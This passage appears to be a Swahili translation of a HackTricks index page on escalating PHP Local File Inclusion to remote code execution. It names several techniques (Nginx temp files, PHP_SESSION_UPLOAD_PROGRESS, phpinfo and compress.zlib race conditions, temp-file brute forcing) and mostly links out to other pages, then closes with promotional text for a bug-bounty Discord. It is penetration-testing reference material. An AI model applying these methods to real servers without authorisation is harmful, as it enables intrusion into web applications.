{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Kupitia uhifadhi wa faili za temp za Nginx

Ikiwa umepata Uingizaji wa Faili wa Kienyeji na Nginx inaendeshwa mbele ya PHP unaweza kupata RCE kwa kutumia mbinu ifuatayo:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Kupitia PHP_SESSION_UPLOAD_PROGRESS

Ikiwa umepata Uingizaji wa Faili wa Kienyeji hata kama huna kikao na session.auto_start ni Off. Ikiwa unatoa PHP_SESSION_UPLOAD_PROGRESS katika data ya POST ya multipart, PHP ita wezesha kikao kwako. Unaweza kutumia hii kupata RCE:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Kupitia pakiaji wa faili za temp kwenye Windows

Ikiwa umepata Uingizaji wa Faili wa Kienyeji na server inaendeshwa kwenye Windows unaweza kupata RCE:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Kupitia phpinfo() (file_uploads = on)

Ikiwa umepata Uingizaji wa Faili wa Kienyeji na faili inayoonyesha phpinfo() na file_uploads = on unaweza kupata RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Kupitia compress.zlib + PHP_STREAM_PREFER_STUDIO + Kufichua Njia

Ikiwa umepata Uingizaji wa Faili wa Kienyeji na unaweza kufichua njia ya faili ya temp LAKINI server inaangalia ikiwa faili itakayoingizwa ina alama za PHP, unaweza kujaribu kupita kwenye ukaguzi huo na hii Hali ya Mashindano:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Kupitia kungojea milele + kuvunja nguvu

Ikiwa unaweza kutumia LFI ku pakia faili za temp na kufanya server kukwama kwenye utekelezaji wa PHP, basi unaweza kuvunja nguvu majina ya faili kwa masaa ili kupata faili ya temporari:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Kwa Kosa Kubwa

Ikiwa unaingiza faili yoyote kati ya /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Unahitaji kuweka ile ile mara 2 ili kutoa kosa hilo).

Sijui jinsi hii inavyoweza kuwa na manufaa lakini inaweza kuwa.
Hata kama unasababisha Kosa Kubwa la PHP, faili za temporari za PHP zilizopakiwa zitafutwa.

Marejeo

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!

Machapisho ya Kudukua
Shiriki na maudhui yanayochimba kina cha msisimko na changamoto za kudukua

Habari za Kudukua za Moja kwa Moja
Kaa up-to-date na ulimwengu wa kudukua kwa kasi kupitia habari na ufahamu wa moja kwa moja

Matangazo Mapya
Baki mwelekezwa na tuzo mpya za makosa zinazoanzishwa na sasisho muhimu ya jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Jifunze kudukua kwa kutumia AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: